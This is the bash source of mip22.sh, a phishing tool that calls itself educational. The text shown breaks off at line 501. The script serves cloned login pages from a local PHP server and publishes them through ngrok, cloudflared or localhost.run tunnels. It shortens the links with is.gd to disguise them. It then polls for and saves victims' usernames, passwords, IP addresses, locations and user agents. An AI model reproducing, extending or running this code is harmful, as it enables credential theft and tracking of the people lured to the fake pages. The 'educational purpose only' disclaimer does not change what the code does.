mip22.sh 38 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473
  1. #!/bin/bash
  2. #
  3. # Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
  4. # mip22 is a advanced phishing tool.
  5. #
  6. # mip22 is free software: you can redistribute it and/or modify
  7. # it under the terms of the GNU Affero General Public License as published by
  8. # the Free Software Foundation, either version 3 of the License, or
  9. # (at your option) any later version.
  10. #
  11. # mip22 is distributed in the hope that it will be useful,
  12. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. # GNU Affero General Public License for more details.
  15. #
  16. # You should have received a copy of the GNU Affero General Public License
  17. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  18. #
  19. #
  20. #permissions
  21. chmod -R 777 packages.sh
  22. chmod -R 777 tunnels.sh
  23. chmod -R 777 data.txt
  24. chmod -R 777 fingerprints.txt
  25. chmod -R 777 .host
  26. chmod -R 777 .manual_attack
  27. chmod -R 777 .music
  28. chmod -R 777 .pages
  29. chmod -R 777 .tunnels_log
  30. chmod -R 777 .www
  31. #Install packages and tunnels
  32. check_os_and_install_packages() {
  33. if [[ -f .host/ngrok && -f .host/cloudflared ]]; then
  34. { clear; }
  35. else
  36. { clear; header; }
  37. OS_SYSTEM=$(uname -o)
  38. if [ $OS_SYSTEM != Android ]; then
  39. bash packages.sh
  40. bash tunnels.sh
  41. else
  42. ./packages.sh
  43. ./tunnels.sh
  44. fi
  45. fi
  46. }
  47. # Check os for root
  48. check_root_and_os() {
  49. OS_SYSTEM=$(uname -o)
  50. if [ $OS_SYSTEM != Android ]; then
  51. if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
  52. { clear; header; }
  53. echo -e "The program cannot run.\nFor run program in GNU/Linux Operating System,\nGive root privileges and try again. \n"
  54. exit 1
  55. fi
  56. fi
  57. }
  58. # Terminal Colors
  59. RED="$(printf '\033[31m')"
  60. GREEN="$(printf '\033[32m')"
  61. ORANGE="$(printf '\033[33m')"
  62. BLUE="$(printf '\033[34m')"
  63. MAGENTA="$(printf '\033[35m')"
  64. CYAN="$(printf '\033[36m')"
  65. WHITE="$(printf '\033[37m')"
  66. BLACK="$(printf '\033[30m')"
  67. ORANGEBG="$(printf '\033[43m')"
  68. BLUEBG="$(printf '\033[44m')"
  69. RESETFG="$(printf '\e033[0m')"
  70. RESETBG="$(printf '\e[0m\n')"
  71. # Directories
  72. if [[ ! -d ".host" ]]; then
  73. mkdir -p ".host"
  74. fi
  75. if [[ ! -d ".www" ]]; then
  76. mkdir -p ".www"
  77. fi
  78. # Clear content of log files
  79. truncate -s 0 .tunnels_log/.cloudfl.log
  80. truncate -s 0 .tunnels_log/.localrun.log
  81. pid_kill() {
  82. #kill all pid for php, ngrok and cloudflared
  83. if [[ `pidof php` ]]; then
  84. killall php > /dev/null 2>&1
  85. fi
  86. if [[ `pidof ngrok` ]]; then
  87. killall ngrok > /dev/null 2>&1
  88. fi
  89. if [[ `pidof cloudflared` ]]; then
  90. killall cloudflared > /dev/null 2>&1
  91. fi
  92. }
  93. header(){
  94. printf "${BLUE}"
  95. cat <<- EOF
  96. ${BLUE} ███╗ ███╗██╗███████╗███████╗██╗ ██████╗ ███╗ ██╗███████╗ ${RED} o
  97. ${BLUE} ████╗ ████║██║██╔════╝██╔════╝██║██╔═══██╗████╗ ██║██╔════╝ ${RED} d8b
  98. ${BLUE} ██╔████╔██║██║███████╗███████╗██║██║ ██║██╔██╗ ██║███████╗ ${RED} d888b
  99. ${BLUE} ██║╚██╔╝██║██║╚════██║╚════██║██║██║ ██║██║╚██╗██║╚════██║ ${RED}"Y888888888P"
  100. ${BLUE} ██║ ╚═╝ ██║██║███████║███████║██║╚██████╔╝██║ ╚████║███████║ ${RED} "Y88888P"
  101. ${BLUE} ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ${RED} d88P"Y88b
  102. ${BLUE} ██╗███╗ ███╗██████╗ ██████╗ ███████╗███████╗██╗██████╗ ██╗ ███████╗███████╗ ${RED}dP" "Yb
  103. ${BLUE} ██║████╗ ████║██╔══██╗██╔═══██╗██╔════╝██╔════╝██║██╔══██╗██║ ██╔════╝██╔════╝
  104. ${BLUE} ██║██╔████╔██║██████╔╝██║ ██║███████╗███████╗██║██████╔╝██║ █████╗ ███████╗ d88b d88b
  105. ${BLUE} ██║██║╚██╔╝██║██╔═══╝ ██║ ██║╚════██║╚════██║██║██╔══██╗██║ ██╔══╝ ╚════██║ " dP " dP
  106. ${BLUE} ██║██║ ╚═╝ ██║██║ ╚██████╔╝███████║███████║██║██████╔╝███████╗███████╗███████║ dP dP
  107. ${BLUE} ═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝╚══════╝╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝ d888 d888
  108. ${BLUE}
  109. ${CYAN}Mip22 tool made for educational purpose only. ${ORANGE}Version: 3.0
  110. ${CYAN}The author is not responsible for any malicious use of the program.
  111. ${CYAN} Mip Created by ${ORANGE}makdosx ${CYAN}(https://github.com/makdosx) ${WHITE}
  112. EOF
  113. printf "${RESETBG}"
  114. }
  115. log_info(){
  116. bold=$(tput bold)
  117. normal=$(tput sgr0)
  118. printf "${GREEN}"
  119. cat <<- EOF
  120. $bold _ _
  121. $bold | _ _ o ._ o ._ _|_ _ |_ _ ._ _|
  122. $bold |_ (_) (_| | | | | | | | (_) | (_) |_| | | (_|
  123. $bold _|
  124. EOF
  125. printf "${RESETBG}"
  126. }
  127. # Php webserver and port
  128. host='127.0.0.1'
  129. port='8080'
  130. setup_clone(){
  131. # Setup cloned page and server
  132. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Setting up cloned page..."${WHITE}
  133. rm -rf .www/*
  134. cp -rf .pages/"$site"/* .www
  135. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  136. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  137. }
  138. setup_clone_manual() {
  139. rm -rf .www/*
  140. cp -rf .manual_attack/index.html .www
  141. cp -rf .manual_attack/post.php .www
  142. cp -rf .manual_attack/__ROOT__/index.php .www
  143. cp -rf .manual_attack/__ROOT__/fingerprints.php .www
  144. rm -rf .manual_attack/index.html
  145. rm -rf .manual_attack/post.php
  146. rm -rf .manual_attack/data.txt
  147. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  148. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  149. }
  150. ## Get IP address
  151. get_fingerprints() {
  152. IP=$(grep -a 'IP:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  153. Full_Date=$(grep -a 'Full-Date:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  154. Country=$(grep -a 'Country:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  155. Region=$(grep -a 'Region:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  156. City=$(grep -a 'City:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  157. User_Agent=$(grep -a 'User-Agent:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  158. OS_System=$(grep -a 'OS-System:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  159. IFS=$'\n'
  160. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Victim Fingerprints.. "
  161. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} IP: ${BLUE}$IP"
  162. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Full Date: ${BLUE}$Full_Date"
  163. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Country: ${BLUE}$Country"
  164. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Region: ${BLUE}$Region"
  165. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} City: ${BLUE}$City"
  166. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} User-Agent: ${BLUE}$User_Agent"
  167. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} OS System: ${BLUE}$OS_System"
  168. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Saved in : ${MAGENTA}fingerprints.txt"
  169. cat .www/fingerprints.txt >> fingerprints.txt
  170. }
  171. # Get credentials from victims
  172. get_creds() {
  173. ACC=$(grep -o 'Username:.*' .www/data.txt | cut -d " " -f2)
  174. PASS=$(grep -o 'Password:.*' .www/data.txt | cut -d ":" -f2)
  175. IFS=$'\n'
  176. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  177. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Password : ${WHITE}$PASS"
  178. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  179. cat .www/data.txt >> data.txt
  180. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Fingerptints and Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  181. }
  182. # Get credentials from victims manual method
  183. get_creds_manual() {
  184. ACC=$(tail -n 20 .www/data.txt)
  185. IFS=$'\n'
  186. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  187. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  188. cat .www/data.txt >> data.txt
  189. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  190. }
  191. # Print credentials from victim
  192. credentials() {
  193. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  194. while true; do
  195. if [[ -e ".www/fingerprints.txt" ]]; then
  196. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  197. get_fingerprints
  198. rm -rf .www/fingerprints.txt
  199. fi
  200. sleep 0.75
  201. if [[ -e ".www/data.txt" ]]; then
  202. notice_login
  203. echo -e "\n"
  204. log_info
  205. #echo -e "\n\n \033[31;5;7m Login info Found! \033[37m"
  206. #echo -e "${RESETBG}"
  207. get_creds
  208. rm -rf .www/data.txt
  209. fi
  210. sleep 0.75
  211. done
  212. }
  213. # Print credentials from victim manual
  214. credentials_manual() {
  215. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  216. while true; do
  217. if [[ -e ".www/fingerprints.txt" ]]; then
  218. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  219. get_fingerprints
  220. rm -rf .www/fingerprints.txt
  221. fi
  222. sleep 0.75
  223. if [[ -e ".www/data.txt" ]]; then
  224. notice_login
  225. echo -e "\n"
  226. log_info
  227. #echo -e "\n\n \033[31;5;7m Login info Found! \033[37m"
  228. #echo -e "${RESETBG}"
  229. get_creds_manual
  230. rm -rf .www/data.txt
  231. fi
  232. sleep 0.75
  233. done
  234. }
  235. # Localhost Start
  236. localhost_start() {
  237. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  238. setup_clone
  239. { sleep 1; clear; header; }
  240. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  241. credentials
  242. }
  243. # Localhost Start
  244. localhost_start_manual() {
  245. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  246. setup_clone_manual
  247. { sleep 1; clear; header; }
  248. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  249. credentials_manual
  250. }
  251. #ngrok token setup
  252. ngrok_setup_token() {
  253. { clear; header; echo; }
  254. cat <<- EOF
  255. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok Toekn
  256. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  257. EOF
  258. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  259. case $REPLY in
  260. 1)
  261. echo "Please insert yout ngrok authtoken (only key):"
  262. read authtoken
  263. if [[ `command -v termux-chroot` ]]; then
  264. termux-chroot ./.host/ngrok authtoken $authtoken
  265. sleep 2 && menu
  266. else
  267. ./.host/ngrok authtoken $authtoken
  268. sleep 2 && menu
  269. fi ;;
  270. 99) menu;;
  271. *)
  272. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  273. { sleep 0.7; ngrok_setup_token;};;
  274. esac
  275. }
  276. apis() {
  277. { clear; header; echo; }
  278. cat <<- EOF
  279. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok
  280. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  281. EOF
  282. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  283. case $REPLY in
  284. 1) ngrok_setup_token;;
  285. 99) menu;;
  286. *)
  287. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Api, Try Again..."
  288. { sleep 0.7; apis;};;
  289. esac
  290. }
  291. # Start ngrok
  292. ngrok_start() {
  293. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  294. { sleep 1; setup_clone; }
  295. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  296. if [[ `command -v termux-chroot` ]]; then
  297. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  298. else
  299. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  300. fi
  301. { sleep 9; clear; header; }
  302. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  303. ngrok_url1=${ngrok_url#https://}
  304. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$ngrok_url1")
  305. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  306. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  307. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  308. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  309. credentials
  310. }
  311. # Start ngrok
  312. ngrok_start_manual() {
  313. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  314. { sleep 1; setup_clone_manual; }
  315. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  316. if [[ `command -v termux-chroot` ]]; then
  317. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  318. else
  319. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  320. fi
  321. { sleep 9; clear; header; }
  322. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  323. ngrok_url1=${ngrok_url#https://}
  324. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$ngrok_url1")
  325. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  326. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  327. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  328. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  329. credentials_manual
  330. }
  331. # Start Cloudflared
  332. #
  333. cloudflared_start() {
  334. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  335. { sleep 1; setup_clone; }
  336. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGETNA} Launching Cloudflared..."
  337. if [[ `command -v termux-chroot` ]]; then
  338. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  339. else
  340. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  341. fi
  342. { sleep 12; clear; header; }
  343. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  344. cldflr_url1=${cldflr_url#https://}
  345. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$cldflr_url1")
  346. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  347. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  348. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  349. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  350. credentials
  351. }
  352. # Start Cloudflared
  353. #
  354. cloudflared_start_manual() {
  355. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  356. { sleep 1; setup_clone_manual; }
  357. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Cloudflared..."
  358. if [[ `command -v termux-chroot` ]]; then
  359. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  360. else
  361. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  362. fi
  363. { sleep 12; clear; header; }
  364. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  365. cldflr_url1=${cldflr_url#https://}
  366. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$cldflr_url1")
  367. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  368. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  369. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  370. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  371. credentials_manual
  372. }
  373. # Start localrun
  374. localhostrun_start() {
  375. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  376. { sleep 1; setup_clone; }
  377. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  378. if [[ `command -v termux-chroot` ]]; then
  379. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  380. else
  381. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  382. fi
  383. { sleep 9; clear; header; }
  384. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  385. localrun_url1=${localrun_url#https://}
  386. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$localrun_url1")
  387. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  388. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  389. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  390. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  391. credentials
  392. }
  393. # Start localrun
  394. localhostrun_start_manual() {
  395. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  396. { sleep 1; setup_clone_manual; }
  397. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  398. if [[ `command -v termux-chroot` ]]; then
  399. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  400. else
  401. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  402. fi
  403. { sleep 9; clear; header; }
  404. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  405. localrun_url1=${localrun_url#https://}
  406. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$localrun_url1")
  407. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  408. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  409. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  410. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  411. credentials_manual
  412. }
  413. # Select Tunnel
  414. tunnel() {
  415. { clear; header; }
  416. cat <<- EOF
  417. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  418. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  419. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  420. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  421. EOF
  422. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  423. case $REPLY in
  424. 1)
  425. localhost_start;;
  426. 2)
  427. localhostrun_start;;
  428. 3)
  429. cloudflared_start;;
  430. 4)
  431. ngrok_start;;
  432. *)
  433. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  434. { sleep 1; header; tunnel;};;
  435. esac
  436. }
  437. start_manual_method() {
  438. cd .manual_attack && php -S "127.0.0.1:8081" > /dev/null 2>&1 &
  439. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} Visit ${WHITE} http://127.0.0.1:8081 ${GREEN} for setup clone page "${WHITE}
  440. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} After setup clone page return to here and continue... "${WHITE}
  441. }
  442. # Select Tunnel
  443. tunnel_manual() {
  444. { clear; header; }
  445. start_manual_method
  446. cat <<- EOF
  447. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  448. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  449. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  450. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  451. EOF
  452. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  453. case $REPLY in
  454. 1)
  455. localhost_start_manual;;
  456. 2)
  457. localhostrun_start_manual;;
  458. 3)
  459. cloudflared_start_manual;;
  460. 4)
  461. ngrok_start_manual;;
  462. *)
  463. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  464. { sleep 1; header; tunnel;};;
  465. esac
  466. }
  467. vpn_setup() {
  468. { clear; header; echo; }
  469. cat <<- EOF
  470. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Psiphon Vpn
  471. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  472. EOF
  473. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  474. case $REPLY in
  475. 1)
  476. if [[ `command -v termux-chroot` ]]; then
  477. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  478. sleep 4 && menu
  479. else
  480. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  481. #echo 'Not Supported. Setup your vpn manual'
  482. sleep 4 && menu
  483. fi ;;
  484. 99) menu;;
  485. *)
  486. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  487. { sleep 0.7; ngrok_setup_token;};;
  488. esac
  489. }
  490. play_music() {
  491. { clear; header; }
  492. cat <<- EOF
  493. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Play Music
  494. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Stop Music
  495. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  496. ${MAGENTA} If you select this option which is the background music then you may
  497. ${MAGENTA} not see the attacker's details directly in the terminal.
  498. ${MAGENTA} If you not seen the data pause the music and restart the program again.
  499. ${MAGENTA} However, they have been saved in the data txt file.
  500. EOF
  501. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Option : ${WHITE}"${WHITE}
